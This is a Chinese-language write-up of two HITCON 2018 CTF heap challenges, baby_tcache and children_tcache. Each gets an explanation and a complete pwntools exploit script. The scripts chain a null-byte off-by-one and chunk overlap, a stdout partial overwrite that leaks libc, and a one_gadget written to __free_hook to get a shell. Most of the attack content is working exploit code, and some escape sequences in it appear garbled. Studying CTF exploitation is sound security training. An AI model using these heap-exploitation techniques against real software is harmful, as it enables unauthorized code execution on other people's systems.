比赛的时候没做出来,赛后对着Angelboy师傅的wp复现了一下,在这里给大家介绍一下主要思路.

babytcache

程序有一个NULL byte off by one漏洞,可以覆盖下一个堆块的size一个字节

先new三个堆块,再new 7个0xf0大小的堆块,然后free掉,好让堆块0落入unsorted bin中

new(0xf0,'an') #0
new(0x200,'an') #1
new(0xf0,'an')#2

for _ in range(7):
new(0xf0,'an')
for i in range(3,10):
free(i)

free(0)

然后就是off by one,把2号堆块的size从0x101覆盖成0x100,然后free掉

free(1)
new(0x208,'a'*0x200+p64(0x310)) #index 0 原先的1号
free(2)
free(0)

此时堆块情况如下图

由于我们伪造的pre_size, chunk overlapping

8号与9号堆块均指向之前的2号堆快,此时堆中有残留的指针,我们使fd指向stdout->_flag //只需要爆破4bit

for _ in range(7):
new(0xf0,'an')

new(0xf0,'n') #index 7

new(0x100,'x60x57') #index 8  from unsortedbin
new(0x200,'n') #index 9 from tcache

再次new时,我们可以改写stdout的内容

new(0x200,p64(0xfbad3c80)+p64(0)*3 + "x00") #overwrite stdout
libc_base = u64(sh.recvuntil("$$")[8:16]) - 0x3ed8b0
print hex(libc_base)

可以看见puts会调用_IO_new_file_xsputn,然后调用_IO_OVERFLOW

size_t
_IO_new_file_xsputn (FILE *f, const void *data, size_t n)
{
...
if ((f->_flags & _IO_LINE_BUF) && (f->_flags & _IO_CURRENTLY_PUTTING)) //flag bypass
{
...
}
...
if (to_do + must_flush > 0)
{
size_t block_size, do_write;
if (_IO_OVERFLOW (f, EOF) == EOF)
return to_do == 0 ? EOF : n - to_do;
...
}

_IO_new_file_overflow最后调用_IO_do_write将_IO_write_base上的内容输出,通过partial overwrite,将_IO_write_base指向特定区域,从而泄漏libc地址

int
_IO_new_file_overflow (FILE *f, int ch)
{
if (f->_flags & _IO_NO_WRITES) /* SET ERROR */
{
f->_flags |= _IO_ERR_SEEN;
__set_errno (EBADF);
return EOF;
}
/* If currently reading or no buffer allocated. */
if ((f->_flags & _IO_CURRENTLY_PUTTING) == 0 || f->_IO_write_base == NULL)
{
...
}
if (ch == EOF)
return _IO_do_write (f, f->_IO_write_base,
f->_IO_write_ptr - f->_IO_write_base);
}

最后one_gadget 写free_hook get shell

one_gadget=libc_base+0x4f322
free_hook=libc_base+libc.symbols['__free_hook']
free(8)
free(9)
free(1)
free(2)
free(3)
free(4)
new(0x100,p64(free_hook))
new(0x100,"pwnn")
new(0x100,p64(one_gadget))
free(1)
sh.interactive()

exp

from pwn import *

sh=process("./baby_tcache")
libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
context.log_level="debug"
def new(size,content):
sh.recvuntil("Your choice: ")
sh.sendline("1")
sh.recvuntil("Size:")
sh.sendline(str(size))
sh.recvuntil("Data:")
sh.send(content)

def free(index):
sh.recvuntil("Your choice: ")
sh.sendline("2")
sh.recvuntil("Index:")
sh.sendline(str(index))

gdb.attach(sh)
new(0xf0,'an') #0
new(0x200,'an') #1
new(0xf0,'an')#2
for _ in range(7):
new(0xf0,'an')
for i in range(3,10):
free(i)

free(0)

free(1)
new(0x208,'a'*0x200+p64(0x310)) #index 0
free(2)
free(0)

for _ in range(7):
new(0xf0,'an')

new(0xf0,p64(0)+'c') #index 7

new(0x100,'x60x57') #index 8  from unsortedbin
new(0x200,'n') #index 9 from tcache

free(0)

new(0x200,p64(0xfbad3c80)+p64(0)*3 + "x00") #overwrite stdout
libc_base = u64(sh.recvuntil("$$")[8:16]) - 0x3ed8b0
print hex(libc_base)
one_gadget=libc_base+0x4f322
free_hook=libc_base+libc.symbols['__free_hook']
free(8)
free(9)
free(1)
free(2)
free(3)
free(4)
new(0x100,p64(free_hook))
new(0x100,"pwnn")
new(0x100,p64(one_gadget))
free(1)
sh.interactive()

佩服Angelboy师傅,太强了

参考

https://github.com/scwuaptx/CTF/blob/master/2018-writeup/hitcon/baby_tcache.py

children tcache

这题比较简单
前面的步骤与babytcache大同小异,chunk overlapping

new(0x100,'an') #0
new(0x200,'an') #1
new(0xf0,'an')#2
for _ in range(7):
new(0xf0,'an')
for i in range(3,10):
free(i)
for _ in range(7):
new(0x100,'an')
for i in range(3,10):
free(i)

free(0)
free(1)
new(0x208,'a'*0x208) #index 0

free(0)
new(0x207,'a'*0x207) #index 0
free(0)
new(0x206,'a'*0x206)
free(0)
new(0x205,'a'*0x205)
free(0)
new(0x204,'a'*0x204)
free(0)
new(0x203,'a'*0x203)
free(0)
new(0x202,'a'*0x200+'x20x03') #index 0
free(2)
free(0)

8号,9号指向的均为同一堆块,释放掉堆块,可以打印unsortedbin 的fd,泄露出libc的地址

new(0x100,'n') #index 7

new(0x100,'x00') #index 8
new(0x200,'x00') #index 9

for i in range(7):
free(i)

free(8)
leak(9)
libc_base=u64(sh.recv(6)+'x00x00')-4111520
print hex(libc_base)

最后one_gadget写free_hook getshell

new(0x300,'an') #index 8

free(9)
free(8)
new(0x300,p64(libc_base+libc.symbols['__free_hook'])) #index 8
new(0x300,'haha') #index 9

free(0)
free(1)
one_gadget=libc_base+0x4f322
new(0x300,p64(one_gadget))
free(2)
sh.interactive()

exp

from pwn import *

libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
sh=process("./children_tcache")
#sh=remote("52.68.236.186",56746)
context.log_level="debug"
def new(size,content):
sh.recvuntil("Your choice: ")
sh.sendline("1")
sh.recvuntil("Size:")
sh.sendline(str(size))
sh.recvuntil("Data:")
sh.send(content)

def free(index):
sh.recvuntil("Your choice: ")
sh.sendline("3")
sh.recvuntil("Index:")
sh.sendline(str(index))

def leak(index):
sh.recvuntil("Your choice: ")
sh.sendline("2")
sh.recvuntil("Index:")
sh.sendline(str(index))

gdb.attach(sh)
new(0x100,'an') #0
new(0x200,'an') #1
new(0xf0,'an')#2
for _ in range(7):
new(0xf0,'an')
for i in range(3,10):
free(i)
for _ in range(7):
new(0x100,'an')
for i in range(3,10):
free(i)

free(0)
free(1)
new(0x208,'a'*0x208) #index 0

free(0)
new(0x207,'a'*0x207) #index 0
free(0)
new(0x206,'a'*0x206)
free(0)
new(0x205,'a'*0x205)
free(0)
new(0x204,'a'*0x204)
free(0)
new(0x203,'a'*0x203)
free(0)
new(0x202,'a'*0x200+'x20x03') #index 0
free(2)
free(0)

for _ in range(7):
new(0x100,'an')

new(0x100,'n') #index 7

new(0x100,'x00') #index 8
new(0x200,'x00') #index 9

for i in range(7):
free(i)

free(8)
leak(9)
libc_base=u64(sh.recv(6)+'x00x00')-4111520
print hex(libc_base)

for _ in range(7):
new(0x100,'an')

new(0x300,'an') #index 8

free(9)
free(8)
new(0x300,p64(libc_base+libc.symbols['__free_hook'])) #index 8
new(0x300,'haha') #index 9

free(0)
free(1)
one_gadget=libc_base+0x4f322
new(0x300,p64(one_gadget))
free(2)
sh.interactive()

参考

https://github.com/scwuaptx/CTF/blob/master/2018-writeup/hitcon/children_tcache.py